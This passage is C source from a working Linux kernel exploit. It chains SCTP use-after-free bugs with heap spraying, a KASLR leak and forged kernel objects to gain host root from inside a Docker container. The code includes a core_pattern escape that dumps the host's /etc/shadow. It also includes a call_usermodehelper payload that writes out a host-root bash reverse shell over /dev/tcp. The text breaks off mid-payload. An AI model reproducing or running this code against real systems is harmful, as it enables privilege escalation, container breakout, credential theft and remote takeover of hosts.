	const char *cp="|/proc/%P/root/esc_handler.sh %P";
	if(write(fd,cp,strlen(cp))<0){ close(fd); return -1; }
	close(fd);
	printf("[esc] core_pattern = %s ; triggering host handler...\n",cp);
	pid_t c=fork();
	if(c==0){
		struct rlimit r={RLIM_INFINITY,RLIM_INFINITY}; setrlimit(RLIMIT_CORE,&r);
		prctl(PR_SET_DUMPABLE,1); signal(SIGSEGV,SIG_DFL);
		volatile int *p=0; *p=0; _exit(0);       // crash -> kernel runs handler as host root
	}
	int st; waitpid(c,&st,0);
	for(int i=0;i<60 && access("/tmp/escape_result",R_OK)!=0;i++) usleep(100000);
	return access("/tmp/escape_result",R_OK)==0 ? 0 : -1;
}
static void show_escape_proof(void){
	char b[2048]; int n,fd;
	printf("======== host-only state pulled into the container (proof of escape) ========\n");
	fd=open("/tmp/escape_result",O_RDONLY);
	if(fd>=0){ while((n=read(fd,b,sizeof b))>0) { if(write(1,b,n)<0) break; } close(fd); }
	else printf("(no escape_result -- escape did not land)\n");
	fd=open("/tmp/host_shadow",O_RDONLY);
	if(fd>=0){ n=read(fd,b,sizeof b-1); if(n>0){ b[n]=0; char*nl=strchr(b,'\n'); if(nl){char*n2=strchr(nl+1,'\n'); if(n2)*n2=0;}
		printf("--- HOST /etc/shadow (root-only, first 2 lines) ---\n%s\n",b);} close(fd); }
}
int main_two_uaf(void){
	// Pin everything to CPU0 so the RCU/softirq kfree of the transport and the
	// msg_msg reclaim spray hit the SAME per-cpu slab freelist (SMP reliability).
	// Pin to the CURRENT cpu (not hardcoded cpu0) so it works under taskset too:
	// the softirq/RCU kfree and the reclaim spray must share one per-cpu freelist.
	cpu_set_t cs; CPU_ZERO(&cs); int _c=sched_getcpu(); CPU_SET(_c<0?0:_c,&cs);
	sched_setaffinity(0,sizeof cs,&cs);
	// ---- UAF#1: pgv reclaim of A1's freed transport -> leak a page addr ----
	// Retried internally: on a noisy full userland the pgv reclaim misses sometimes
	// (getstatus is crash-safe here: freed memory keeps its old af_specific), so a
	// fresh victim + a fresh pgv batch is tried until a canonical direct-map addr lands.
	uint64_t P=0;
	#define P_BAD(x) ((x>>48)!=0xffffULL||(x&0xfffULL)!=0||x>=0xffffff0000000000ULL||x<0xffff800000000000ULL)
	for(int tryn=0; tryn<8; tryn++){
		VPORT=20000+tryn*2; BPORT=20001+tryn*2;
		int A1=setup_uaf(2,0x7f000003); if(A1<0) return 1;
		pgv_spray_n(16);                  // add a batch (up to NPGV total across retries)
		usleep(15000);
		uint32_t s=0,c=0,m=0; int32_t st=0; getstatus(A1,&s,&c,&m,&st);
		P=((uint64_t)c<<32)|s;
		if(!P_BAD(P)){ printf(" UAF#1 leak block=0x%016llx (try %d)\n",(ull)P,tryn); break; }
		printf("UAF#1 miss (P=0x%llx), retry %d\n",(ull)P,tryn);
	}
	if(P_BAD(P)){ printf(" UAF#1 gave up\n"); return 1; }
	// CONSOLIDATED fake-object graph — the ENTIRE graph lives inside the ONE page we
	// leaked exactly (P = pgv[28]). PACKET_TX_RING blocks are separate order-0 pages,
	// NOT contiguous in the direct map, so cross-block arithmetic (P+(i-28)*4096) lands
	// on the wrong physical page whenever the buddy allocator is fragmented -> fake_T
	// reads back as zero -> tp->asoc=0 -> sctp_packet_config() early-returns at
	// `if(!asoc)` -> get_saddr/commit_creds never run (the exact "clean exit, no root"
	// seen on OpenCloudOS SMP). Every object is now a sub-offset of P, so every pointer
	// is exact regardless of inter-block page contiguity.
	#define G_T 0        // fake_T    [0,368)
	#define G_AF 512     // fake_af   [512,690)
	#define G_ASOC 1024  // fake_asoc [1024,1692)
	#define G_SK 1728    // fake_sk   [1728,2958)  (cred + sock, non-overlapping views)
	#define G_PF 3008    // fake_pf   [3008,3112)
	#define G_SEC 3136   // security  [3136,3264)  zeroed
	#define G_SCR 3264   // scratch   [3264,3328)  list_add_tail target
	#define G_ZERO 3392  // zeroed af proxy (+180 -> 3572 stays 0)
	uint64_t fake_T_k=P+G_T, fake_af_k=P+G_AF, fake_asoc_k=P+G_ASOC;
	uint64_t fake_sk_k=P+G_SK, fake_pf_k=P+G_PF, scratch_k=P+G_SCR;
	uint64_t fake_sec_k=P+G_SEC, zero_k=P+G_ZERO;
	// ---- KASLR fix: leak_slide() and find_asoc() BOTH need the arb-read victim pool.
	//      Build it (and prime the authkey spray) HERE, before leak_slide runs. A2 is
	//      still created further below, after this block, so no later fork inflates A2's
	//      struct file f_count (close(A2) must run sctp_close synchronously). ----
	g_zk=zero_k; g_sk=scratch_k;
	g_fakeT=fake_T_k;   // set EARLY: leak_slide()+find_asoc() read-victims all point here (safe async flush)
	if(!getenv("NOWALK")) precreate_victims(getenv("NVIC_N")?atoi(getenv("NVIC_N")):64);
	{ uint8_t warm[1024]; memset(warm,0,sizeof warm);
	  *(uint64_t*)(warm+P_TRANSPORT)=fake_T_k;   // even a stray warm-key reclaim resolves (no +0x300=0 crash)
	  authkey_spray(warm,64); }
	// ---- KASLR: all kernel-image symbols shift by the text slide. Physmap-based
	//      fake-object addresses (BLK) are runtime-leaked, so they need no fixup.
	//      SLIDE is (for now) supplied for the framework test; the leak stage that
	//      recovers it from a leaked image pointer is the remaining KASLR work. ----
	uint64_t SLIDE = getenv("SLIDE") ? strtoull(getenv("SLIDE"),0,16)
	                                 : leak_slide(zero_k, scratch_k);  // cold-start IDT leak
	uint64_t A_COMMIT=K_COMMIT_CREDS+SLIDE, A_RET=K_RET_GADGET+SLIDE;
	uint64_t A_USER=K_INIT_USER+SLIDE, A_USERNS=K_INIT_USER_NS+SLIDE;
	uint64_t A_UCOUNTS=K_INIT_UCOUNTS+SLIDE, A_GROUPINFO=K_INIT_GROUPINFO+SLIDE;
	uint64_t A_CALL_UMH=K_CALL_UMH+SLIDE;
	uint64_t A_UMH_EXEC=K_CALL_UMH_EXEC+SLIDE, A_UMH_EXEC_WORK=K_UMH_EXEC_WORK+SLIDE;
	(void)A_CALL_UMH;   // 4-arg entry unusable on 6.6 (NULL argv); kept for reference
	// UMH mode (default): the trigger calls call_usermodehelper() instead of commit_creds().
	// That needs no mount()/core_pattern write -> runs under DEFAULT docker seccomp.
	// UMH=0 falls back to the commit_creds LPE (needs seccomp=unconfined for the escape).
	int umh_mode = getenv("UMH") ? atoi(getenv("UMH")) : 1;
	printf(" KASLR slide = 0x%llx\n",(unsigned long long)SLIDE);

	// ---- build the fake object graph into every pgv page ----
	// Root primitive: sctp_transport_route() calls af->get_dst(transport,..) then
	// af->get_saddr(OPT, transport, fl).  OPT == sk == fake_sk.  So we set
	//   get_dst   = clean ret  (harmless; called twice, must not corrupt fake_T)
	//   get_saddr = commit_creds  -> commit_creds(RDI = fake_sk)  [fake_sk is the root cred]
	// This avoids commit_creds' get_cred() zeroing cred+168, which for the old
	// "transport IS the cred" layout clobbered transport->af_specific (offset 168)
	// and #GP'd the *second* get_dst.  Now the cred (fake_sk) is a separate object.
	for(int i=0;i<pgv_n;i++){
		uint8_t *g=pgv_map[i]+28*PGV_BS;   // the leaked page (P) itself — exact, contiguity-free
		memset(g,0,PGV_BS);                // clean zeroed base for the whole graph
		uint8_t *fT=g+G_T, *af=g+G_AF, *fa=g+G_ASOC, *fsk=g+G_SK, *fpf=g+G_PF;
		// fake_af
		*(uint64_t*)(af+AF_GET_DST)=A_RET;    // keep clean ret so flow can reach get_saddr
		*(uint64_t*)(af+AF_GET_SADDR)=getenv("CANARY")?0xdead0000005a0dddULL:A_COMMIT; // canary: get_saddr reached
		*(uint16_t*)(af+AF_NHLEN)=20;
		if(umh_mode){
			// ---- UMH escape ----
			// With dst==0, sctp_transport_route takes the +0xef branch:
			//     rdi = sk (fake_sk), rsi = transport (fake_T), rdx = transport+0x30
			//     call af->get_saddr(...)
			// Repoint get_saddr at call_usermodehelper_exec(info, wait):
			//     info = fake_sk   -> we forge struct subprocess_info AT fake_sk
			//     wait = fake_T    -> non-zero, so it wait_for_completion()s AFTER
			//                         queue_work() has already committed our payload.
			// The payload then execs as root in the INIT namespaces using NO syscalls of
			// ours => the container's seccomp filter is irrelevant (DEFAULT docker works).
			*(uint64_t*)(af+AF_GET_DST)=A_RET;        // return cleanly, keep dst==0
			*(uint64_t*)(af+AF_GET_SADDR)=A_UMH_EXEC; // -> call_usermodehelper_exec(fake_sk, fake_T)
		}
		// fake_sk: doubles as (a) the sctp_sock and (b) the root struct cred
		//   -- cred view --
		*(uint64_t*)(fsk+C_USAGE)=0x1000;
		*(uint32_t*)(fsk+8)=0;*(uint32_t*)(fsk+12)=0;*(uint32_t*)(fsk+16)=0;*(uint32_t*)(fsk+20)=0;
		*(uint32_t*)(fsk+24)=0;*(uint32_t*)(fsk+28)=0;*(uint32_t*)(fsk+32)=0;*(uint32_t*)(fsk+36)=0;
		*(uint32_t*)(fsk+40)=0;                        // securebits
		*(uint64_t*)(fsk+C_CAP_PERM)=K_CAPS;*(uint64_t*)(fsk+C_CAP_EFF)=K_CAPS;*(uint64_t*)(fsk+C_CAP_BSET)=K_CAPS;
		*(uint64_t*)(fsk+96)=0;*(uint64_t*)(fsk+104)=0;*(uint64_t*)(fsk+112)=0;*(uint64_t*)(fsk+120)=0; // keyrings
		*(uint64_t*)(fsk+128)=fake_sec_k;              // ->security (valid SELinux blob ptr)
		*(uint64_t*)(fsk+C_USER)=A_USER;*(uint64_t*)(fsk+C_USER_NS)=A_USERNS;
		*(uint64_t*)(fsk+C_UCOUNTS)=A_UCOUNTS;*(uint64_t*)(fsk+C_GROUPINFO)=A_GROUPINFO;
		//   -- sock view (offsets >=1648, no overlap with cred<184) --
		*(uint64_t*)(fsk+SK_PF)=fake_pf_k;
		*(uint16_t*)(fsk+SK_UDPPORT)=0;
		// fake_T: pure struct sctp_transport (NOT a cred -> af_specific never corrupted)
		if(umh_mode){
			// Forge struct subprocess_info AT fake_sk -- that is the rdi the reached call
			// site (+0xef: af->get_saddr(sk, transport, fl)) passes. In UMH mode we never
			// use fake_sk's cred/sock views (no commit_creds), so the object is free.
			//   work.data  = 0        -> PENDING bit clear, queue_work() accepts it
			//   work.entry = self     -> valid empty list_head (LIST_HARDENED-safe)
			//   work.func  = call_usermodehelper_exec_work  (the workqueue entry point)
			//   path/argv/envp        -> our strings/arrays in the low unused part of fake_T
			uint8_t *si=fsk;
			uint64_t si_k=fake_sk_k;
			*(uint64_t*)(si+SI_WORK_DATA)=WORK_STRUCT_NO_POOL;
			*(uint64_t*)(si+SI_WORK_ENTRY)  =si_k+SI_WORK_ENTRY;    // next = self
			*(uint64_t*)(si+SI_WORK_ENTRY+8)=si_k+SI_WORK_ENTRY;    // prev = self
			*(uint64_t*)(si+SI_WORK_FUNC)=A_UMH_EXEC_WORK;
			*(uint64_t*)(si+SI_COMPLETE)=0;
			*(uint64_t*)(si+SI_PATH)=fake_T_k+UMH_PATHSTR;
			*(uint64_t*)(si+SI_ARGV)=fake_T_k+UMH_ARGV_ARR;
			*(uint64_t*)(si+SI_ENVP)=fake_T_k+UMH_ENVP_ARR;
			*(uint32_t*)(si+SI_WAIT)=0;                              // UMH_NO_WAIT (field, not the arg)
			*(uint32_t*)(si+SI_RETVAL)=0;
			*(uint64_t*)(si+SI_INIT)=0; *(uint64_t*)(si+SI_CLEANUP)=0; *(uint64_t*)(si+SI_DATA)=0;
			// path string + argv[]/envp[] arrays (low area of fake_T, below T2_AF at 192)
			size_t hl=strlen(g_umh_path); if(hl>40) hl=40;
			memcpy(fT+UMH_PATHSTR,g_umh_path,hl); fT[UMH_PATHSTR+hl]=0;
			*(uint64_t*)(fT+UMH_ARGV_ARR)  =fake_T_k+UMH_PATHSTR;    // argv[0] = path
			*(uint64_t*)(fT+UMH_ARGV_ARR+8)=0;                       // argv[1] = NULL
			*(uint64_t*)(fT+UMH_ENVP_ARR)  =0;                       // envp[0] = NULL
		}
		*(uint64_t*)(fT+T2_AF)=fake_af_k;
		*(uint64_t*)(fT+T2_ASOC)=fake_asoc_k;
		*(uint64_t*)(fT+T2_DST)=0;                     // dst=0 -> reach get_dst path + clean return
		*(uint32_t*)(fT+T2_PATHMTU)=1500;
		*(uint32_t*)(fT+T2_PARAMFLAGS)=0;
		// fake_asoc
		*(uint32_t*)(fa+A_ASSOCID_OFF)=0x1337beef;    // marker: getstatus returns this iff tp1->asoc=fake_asoc landed
		// asoc+0x10 is base.sk. packet_config loads r12 = *(asoc+0x10) = sk and dispatches
		// pf = *(sk+SK_PF), so this MUST be fake_sk in both modes. In UMH mode that same
		// value also lands in rsi = `wait` for call_usermodehelper_exec; wait != UMH_NO_WAIT
		// means it wait_for_completion()s (sleep-in-softirq -> panic), but queue_work() has
		// ALREADY run by then, so our payload is committed and executes as root regardless.
		*(uint64_t*)(fa+A2_BASE_SK)=fake_sk_k;
		*(uint8_t *)(fa+A2_PMTU_PENDING)=0;
		*(uint32_t*)(fa+A2_PATHMTU)=1500;
		*(uint32_t*)(fa+A2_PARAMFLAGS)=0;
		// fake_pf -> fake_af
		*(uint64_t*)(fpf+PF_AF)=fake_af_k;
	}

	// ---- UAF#2: defeat BUG_ON_DATA_CORRUPTION on the chunk_list list_add ----
	// The ABORT flush does list_add_tail(abort_chunk, &tp1->packet.chunk_list). Under
	// LIST_HARDENED + BUG_ON_DATA_CORRUPTION a non-self-consistent list is a FATAL BUG.
	// Make it a VALID empty list: chunk_list.next=prev=&chunk_list=tp1+P_CHUNKLIST_NEXT.
	// That needs tp1's kernel address -> walk to A2's association (transport still alive),
	// free it, then read active_path (= tp1).
	// victim pool + authkey warm-up already done ABOVE (before leak_slide, for KASLR).
	// A2 is created here, AFTER all of precreate's forks, so its f_count stays 1 and
	// close(A2) runs sctp_close() -> ABORT flush -> transport_route -> commit_creds.
	VPORT=20010; BPORT=20011;
	g_fakeT=fake_T_k;                     // graph is built; point arb-read victims at it so a stray async flush returns early
	g_defer_free=1;                       // keep A2's transport alive across the walk
	int A2=setup_uaf(2,0x7f000003); if(A2<0) return 1;   // created AFTER all forks -> f_count=1 -> close() aborts synchronously
	uint32_t a2_tag=g_sv_tag,a2_tsn=g_sv_tsn; int a2_vp=g_sv_vport,a2_bp=g_sv_bport; struct hs a2_hs=g_sv_hs; // SAVE A2's DEL-IP params (incl. AUTH secret)
	g_defer_free=0;                       // A2 saved & alive; walk's arb_read victims free normally
	if(getenv("NOWALK")){                 // isolate: reproduce the original reclaim+trigger
		fire_delip(); usleep(40000);
		uint8_t p2[1024]; memset(p2,0,sizeof p2);
		*(uint32_t*)(p2+T2_BURST)=1;
		*(uint64_t*)(p2+P_CHUNKLIST_NEXT)=scratch_k; *(uint64_t*)(p2+P_CHUNKLIST_PREV)=scratch_k;
		*(uint64_t*)(p2+P_OVERHEAD)=0x40; *(uint64_t*)(p2+P_SIZE)=0x40;
		*(uint64_t*)(p2+P_TRANSPORT)=fake_T_k; *(uint8_t*)(p2+P_HAS_COOKIE)=1;
		*(uint64_t*)(p2+T2_SENDREADY)=0;
		long nk=authkey_spray(p2,6000);
		int before=can_read_shadow();
		printf("[nowalk] sprayed %ld; before=%d; firing ABORT (expect commit_creds then list_add BUG)\n",nk,before);
		struct linger lg={1,0}; setsockopt(A2,SOL_SOCKET,SO_LINGER,&lg,sizeof lg); close(A2);
		printf("[nowalk] close returned; after=%d (VM alive => no BUG => reclaim likely MISSED)\n",can_read_shadow());
		char*const a[]={"/bin/sleep","60",NULL}; execv("/bin/sleep",a); return 0;
	}
	uint64_t asoc=find_asoc(SLIDE, A2);   // per-cpu current -> ... -> sctp_association
	if(getenv("WALK_TEST")){              // validate the walk without the fatal trigger
		printf("[walk] WALK_TEST asoc=0x%llx -> exec sleep (leave victims dangling)\n",(ull)asoc);
		char*const a[]={"/bin/sleep","60",NULL}; execv("/bin/sleep",a); return 0;
	}
	if(asoc<0xffff800000000000ULL){ printf(" pointer walk failed (asoc=0x%llx)\n",(ull)asoc); retry_or_hold("pointer-walk miss"); }
	g_defer_free=0;
	g_sv_tag=a2_tag; g_sv_tsn=a2_tsn; g_sv_vport=a2_vp; g_sv_bport=a2_bp; g_sv_hs=a2_hs;  // restore A2's params (incl. AUTH secret)
	uint8_t pay[1024];
	#define SET64(off,v) (*(uint64_t*)(pay+(off))=(uint64_t)(v))
	#define SET32(off,v) (*(uint32_t*)(pay+(off))=(uint32_t)(v))
	#define SET8(off,v)  (*(uint8_t *)(pay+(off))=(uint8_t )(v))
	long nk=0; int landed=0; uint64_t S=0;
	if(getenv("SINGLE")){   // default = double-reclaim (leaks tp1 correctly post-free); SINGLE=1 for the pre-free variant
		// ---- SINGLE clean reclaim (mirrors the proven NOWALK path, but with a VALID
		//      chunk_list).  Learn tp1 (the SECONDARY transport, about to be freed) from
		//      transport_addr_list BEFORE freeing it, so we can bake chunk_list=tp1+728.
		//      Avoids the fragile phase1/phase2 free-window that let A2 fail active_path
		//      away from tp1 before close.  transports@0 => a list node IS the transport.
		uint64_t ap0=leak_ptr(asoc+ASOC_ACTIVE_PATH);
		uint64_t n1 =leak_ptr(asoc+304);                          // transport_addr_list.next
		uint64_t n2 =(n1>=0xffff800000000000ULL)?leak_ptr(n1):0;  // t1->transports.next
		// DIAG_POST proved primary_path/active_path dangle to the freed *active* transport
		// (the confirmed-active secondary). So the reclaim target S == active_path (ap0);
		// the old "first non-active" heuristic mis-picked a live sibling. TP1_NONACTIVE
		// restores the old behaviour for targets where the freed path isn't the active one.
		if(getenv("TP1_NONACTIVE")){
			if     (n1>=0xffff800000000000ULL && n1!=ap0) S=n1;
			else if(n2>=0xffff800000000000ULL && n2!=ap0) S=n2;
		} else if(ap0>=0xffff800000000000ULL) S=ap0;
		printf(" pre-free: active=0x%llx t1=0x%llx t2=0x%llx -> tp1=0x%llx\n",(ull)ap0,(ull)n1,(ull)n2,(ull)S);
		if(S<0xffff800000000000ULL){ printf(" could not locate secondary transport\n");
			retry_or_hold("secondary-transport miss"); }
		memset(pay,0,sizeof pay);
		SET64(T2_AF, zero_k); SET64(T2_ASOC, fake_asoc_k);        // marker: getstatus->fake_asoc+144
		SET32(OFF_CWND, 0x5126900du);                            // SINGLE landing marker: DISTINCT from
		                                                         // the read pay's 0x51ac0de5 so a stray
		                                                         // read-object can't false-positive LANDED
		SET32(T2_BURST,1);
		uint64_t clh=getenv("INVALIDLIST")? scratch_k : (S+P_CHUNKLIST_NEXT);
		SET64(P_CHUNKLIST_NEXT,clh); SET64(P_CHUNKLIST_PREV,clh); // VALID empty list
		SET64(P_OVERHEAD,0x40); SET64(P_SIZE,0x40);
		SET64(P_TRANSPORT,fake_T_k); SET64(P_AUTH,0); SET8(P_HAS_COOKIE,1);
		SET64(T2_SENDREADY,0);
		if(getenv("DOFREE") && g_authsk>=0){ close(g_authsk); g_authsk=-1; g_authkn=0; usleep(120000); }
		// CRITICAL: the leak_ptr(ap0/n1/n2) reads above ran arb_read32, which clobbered
		// g_sv_* (tag/tsn/ports/hs) with the last read-victim's. Re-restore A2's params
		// NOW so fire_delip() actually signs+targets A2's association (not a read-victim).
		g_sv_tag=a2_tag; g_sv_tsn=a2_tsn; g_sv_vport=a2_vp; g_sv_bport=a2_bp; g_sv_hs=a2_hs;
		{ uint8_t tk[384]; int kl=hs_secret(&g_sv_hs,tk);
		  printf(" A2 DEL auth: use_auth=%d a_rl=%u b_rl=%u secret_len=%d tag=0x%08x tsn=0x%08x\n",
		         g_use_auth,g_sv_hs.a_rl,g_sv_hs.b_rl,kl,g_sv_tag,g_sv_tsn); fflush(stdout); }
		fire_delip();                          // free tp1 -> primary_path/active_path dangle = tp1
		if(!getenv("LEGACY_S")){
			// The pre-free active_path (ap0) is NOT where primary/active dangle after the
			// DEL: the wildcard set_primary() plants asconf->transport (the DEL-target
			// secondary), which is a DIFFERENT transport than the pre-free active. DIAG_POST
			// showed post-DEL active==primary==<DEL-target>, off from ap0 by a slab slot.
			// Read the REAL post-DEL primary now and rebuild S + the chunk_list self-list so
			// the ABORT's list_add_tail sees a valid empty list (else LIST_HARDENED BUGs).
			usleep(40000);
			// Small spray for this read: reclaim only the read-victim's own slot (freelist
			// head) without reaching A2's deeper freed slot -- otherwise a read-object lands
			// in A2's slot and (now that markers differ) blocks our SINGLE pay from landing.
			char *ob=getenv("WALK_BATCH"); char sav[16]; sav[0]=0; if(ob){ strncpy(sav,ob,15); sav[15]=0; }
			setenv("WALK_BATCH","220",1);
			uint32_t alo=0,plo=0;
			for(int rt=0; rt<6 && (!alo||alo==0xffffffffu); rt++) alo=arb_read32(g_zk,g_sk,asoc+ASOC_ACTIVE_PATH);
			for(int rt=0; rt<6 && (!plo||plo==0xffffffffu); rt++) plo=arb_read32(g_zk,g_sk,asoc+ASOC_PRIMARY_PATH);
			if(sav[0]) setenv("WALK_BATCH",sav,1); else unsetenv("WALK_BATCH");
			printf(" POSTDEL_S: post-DEL active.lo=0x%08x primary.lo=0x%08x (want equal)\n",alo,plo); fflush(stdout);
			uint32_t tlo=alo;   // target = active_path (that is what close()'s ABORT flushes)
			if(tlo && tlo!=0xffffffffu && (tlo&0x7)==0){
				uint64_t sp=((asoc>>32)<<32)|(uint64_t)tlo;
				if(sp!=S){
					S=sp; uint64_t clh2=S+P_CHUNKLIST_NEXT;
					SET64(P_CHUNKLIST_NEXT,clh2); SET64(P_CHUNKLIST_PREV,clh2);
					printf(" POSTDEL_S: reclaim target corrected to post-DEL active S=0x%llx\n",(ull)S); fflush(stdout);
				}
			}
			// arb_read32 clobbered g_sv_* but A2's DEL already fired; no re-fire needed.
			// The POSTDEL read sprayed read-objects (via g_authsk); one squats A2's freed
			// slot (S) and would block our SINGLE pay. Free the ENTIRE read-authkey socket so
			// every read-object -- including the squatter at S -- is released; the SINGLE
			// reclaim below then sprays our (correct-chunk_list) pay onto the re-freed slot.
			if(g_authsk>=0){ close(g_authsk); g_authsk=-1; g_authkn=0; usleep(20000); }
		}
		if(getenv("DIAG_PGV")){                 // did the DEL actually free the transport? reclaim
			// with pgv (the proven UAF#1 primitive): if getstatus reads a physmap page,
			// the transport was freed. If cwnd stays a small live value, it wasn't.
			for(int w=0;w<10;w++){ pgv_spray_n(16); usleep(40000); }
			struct sctp_status_ sv; memset(&sv,0,sizeof sv); socklen_t lv=sizeof sv;
			uint32_t cw=0,sr=0;
			if(getsockopt(A2,SOL_SCTP_,SCTP_STATUS_,&sv,&lv)==0){ cw=sv.sstat_primary.spinfo_cwnd; sr=sv.sstat_primary.spinfo_srtt; }
			printf("[diagpgv] after DEL + pgv-reclaim: cwnd=0x%08x srtt=0x%08x -> %s\n",
			       cw,sr,(cw>>16)==0xffff?"PGV RECLAIMED (transport WAS freed)":"not reclaimed (transport likely NOT freed)");
			fflush(stdout); char*const a[]={"/bin/sleep","300",NULL}; execv("/bin/sleep",a);
		}
		if(getenv("DIAG_POST")){               // read active/primary AFTER the DEL via the
			// read-victims (which reclaim reliably) -> shows if the planted dangling
			// pointer == S (our reclaim target). Runs regardless of A2's own reclaim.
			usleep(60000);
			uint32_t ap=arb_read32(g_zk,g_sk,asoc+ASOC_ACTIVE_PATH);
			uint32_t pp=arb_read32(g_zk,g_sk,asoc+ASOC_PRIMARY_PATH);
			printf("[diagpost] after DEL: active.lo=0x%08x primary.lo=0x%08x S(tp1).lo=0x%08x  (match => reclaim target correct)\n",
			       ap,pp,(uint32_t)S); fflush(stdout);
			char*const a[]={"/bin/sleep","300",NULL}; execv("/bin/sleep",a);
		}
		// reclaim with retry: RCU may not have freed tp1 at 40ms; keep spraying+checking
		// the marker until it lands (getstatus returns fake_asoc+144 == 0x1337beef).
		int32_t astate=-99; uint32_t v_lo=0;
		int s_settle=getenv("S_SETTLE")?atoi(getenv("S_SETTLE")):60000;
		int s_batch =getenv("S_BATCH") ?atoi(getenv("S_BATCH")) :9000;
		int s_tries =getenv("S_TRIES") ?atoi(getenv("S_TRIES")) :24;
		if(getenv("S_WARM")) usleep(atoi(getenv("S_WARM")));   // let the RCU free complete first
		for(int rr=0; rr<s_tries && !landed; rr++){
			nk += authkey_spray(pay,s_batch);   // spray FIRST, then settle+check: grabs tp1's just-freed
			usleep(s_settle);                   // slot before a foreign alloc can squat it (the no-confirm miss)
			struct sctp_status_ sv; memset(&sv,0,sizeof sv); socklen_t lv=sizeof sv;
			uint32_t cw=0;
			if(getsockopt(A2,SOL_SCTP_,SCTP_STATUS_,&sv,&lv)==0){ v_lo=sv.sstat_primary.spinfo_assoc_id; astate=sv.sstat_state; cw=sv.sstat_primary.spinfo_cwnd; }
			landed=(cw==0x5126900du);   // our SINGLE object (distinct marker) is in tp1's slot
			if(rr==0||landed||rr==s_tries-1)
				printf(" single-reclaim try %d tp1=0x%llx sprayed %ld; cwnd=0x%08x assoc_id=0x%08x -> %s (state=%d)\n",rr,(ull)S,nk,cw,v_lo,landed?"LANDED":"miss",astate);
		}
		if(!landed){ printf(" single reclaim missed after retries; not triggering\n");
			retry_or_hold("A2-reclaim miss"); }
	} else {
		// ---- OLD phase1/phase2 double-reclaim path (kept for A/B comparison) ----
		fire_delip(); usleep(40000);
		uint8_t lp[1024]; memset(lp,0,sizeof lp);
		*(uint64_t*)(lp+T2_AF)=zero_k;
		*(uint64_t*)(lp+T2_ASOC)=asoc+ASOC_ACTIVE_PATH-A_ASSOCID_OFF;
		int authsk_leak=-1, leakkn=0; authkey_spray_on(&authsk_leak,&leakkn,lp,2500);
		struct sctp_status_ stL; memset(&stL,0,sizeof stL); socklen_t lL=sizeof stL;
		uint32_t s_lo=0; if(getsockopt(A2,SOL_SCTP_,SCTP_STATUS_,&stL,&lL)==0) s_lo=stL.sstat_primary.spinfo_assoc_id;
		S=((asoc>>32)<<32)|(uint64_t)s_lo;
		printf(" tp1 = 0x%llx  (asoc=0x%llx, active_path.lo=0x%08x)\n",(ull)S,(ull)asoc,s_lo);
		if(S<0xffff800000000000ULL || (s_lo&0x7)!=0){ printf(" S leak looks bad\n"); return 1; }
		memset(pay,0,sizeof pay);
		SET64(T2_AF, zero_k); SET64(T2_ASOC, fake_asoc_k);
		SET32(T2_BURST,1);
		uint64_t clh=getenv("INVALIDLIST")? scratch_k : (S+P_CHUNKLIST_NEXT);
		SET64(P_CHUNKLIST_NEXT,clh); SET64(P_CHUNKLIST_PREV,clh);
		SET64(P_OVERHEAD,0x40); SET64(P_SIZE,0x40);
		SET64(P_TRANSPORT,fake_T_k); SET64(P_AUTH,0); SET8(P_HAS_COOKIE,1);
		SET64(T2_SENDREADY,0);
		close(authsk_leak); authsk_leak=-1;
		int p2sk=-1,p2kn=0;
		for(int rr=0; rr<6 && !landed; rr++){
			if(p2sk>=0){ close(p2sk); p2sk=-1; p2kn=0; usleep(3000); }
			usleep(3000);
			nk=authkey_spray_on(&p2sk,&p2kn,pay,6000);
			struct sctp_status_ sv; memset(&sv,0,sizeof sv); socklen_t lv=sizeof sv;
			uint32_t v_lo=0; int32_t astate=-99; if(getsockopt(A2,SOL_SCTP_,SCTP_STATUS_,&sv,&lv)==0){ v_lo=sv.sstat_primary.spinfo_assoc_id; astate=sv.sstat_state; }
			landed=(v_lo==0x1337beef);
			printf(" phase2 try %d: getstatus=0x%08x -> %s (A2 state=%d)\n",rr,v_lo,landed?"LANDED":"miss",astate);
		}
		if(!landed){ printf(" phase2 never landed; not triggering\n");
			char*const a[]={"/bin/sleep","60",NULL}; execv("/bin/sleep",a); return 1; }
	}
	int before = cap_sysadmin();
	printf(" uid=%d euid=%d CAP_SYS_ADMIN(before)=%d capeff=0x%llx; firing ABORT...\n",
	       getuid(),geteuid(),before,cap_effective());
	// ---- UMH mode: stage the payload the kernel will exec AS HOST ROOT. The path is
	//      resolved in the INIT mount ns (the host), not the container's, so we cannot
	//      simply drop a file in the container root. /proc/<hostpid>/root/<x> IS reachable
	//      from the host ns and refers back into our container, so we point call_usermodehelper
	//      at that -- the same indirection the core_pattern escape used, minus the mount().
	if(umh_mode){
		// If we are in a PID namespace (container), the path must be one the INIT mount ns
		// can resolve. The walk leaked our GLOBAL pid, so /proc/<gpid>/root/<file> names our
		// container's rootfs from the host's point of view. Re-stamp fake_T's path string in
		// every pgv page now (the graph was built before the walk ran).
		if(g_global_pid && !getenv("UMH_PATH")){
			char np[64];
			snprintf(np,sizeof np,"/proc/%u/root/p",g_global_pid);   // short: fits the reserved slot
			if(strlen(np)<40){
				snprintf(g_umh_path,sizeof g_umh_path,"%s",np);
				for(int i=0;i<pgv_n;i++){
					uint8_t *g=pgv_map[i]+28*PGV_BS;
					memcpy(g+G_T+UMH_PATHSTR,g_umh_path,strlen(g_umh_path)+1);
				}
				printf("[umh] path re-stamped for init-ns resolution: %s\n",g_umh_path);
			}
		}
		// The kernel resolves g_umh_path in the INIT mount ns (host rootfs). Write the
		// payload so it appears at that path: writing "/p" in the container makes
		// /proc/<gpid>/root/p resolve to it from the host.
		// The payload executes as root in the INIT namespaces: "/" here is the HOST fs.
		// $R points back into the *caller's* rootfs (our container) so we can also drop a
		// copy the exploit can see locally -- proving the crossing in both directions.
		char H[1024];
		if(shell_mode() && shell_listen()==0){
			// interactive: host-root reverse shell back to our listener (container IP:port).
			// setsid+& detaches it so call_usermodehelper_exec's wait returns and close()
			// unblocks; the detached bash keeps running as host root and connects to us.
			snprintf(H,sizeof H,
				"#!/bin/bash\n"
				"setsid bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &\n"
				"echo shellstart > /UMH_ESCAPE_PROOF_ON_HOST 2>/dev/null; sync\n"
				"exit 0\n", g_shell_ip, g_shell_port);
			printf("[shell] listening on %s:%d for the host-root reverse shell\n",g_shell_ip,g_shell_port);
		} else {
			// non-interactive proof: dump host-root id/shadow, drop a copy back into the container.
			snprintf(H,sizeof H,
			"#!/bin/sh\n"
			"R=/proc/%u/root\n"
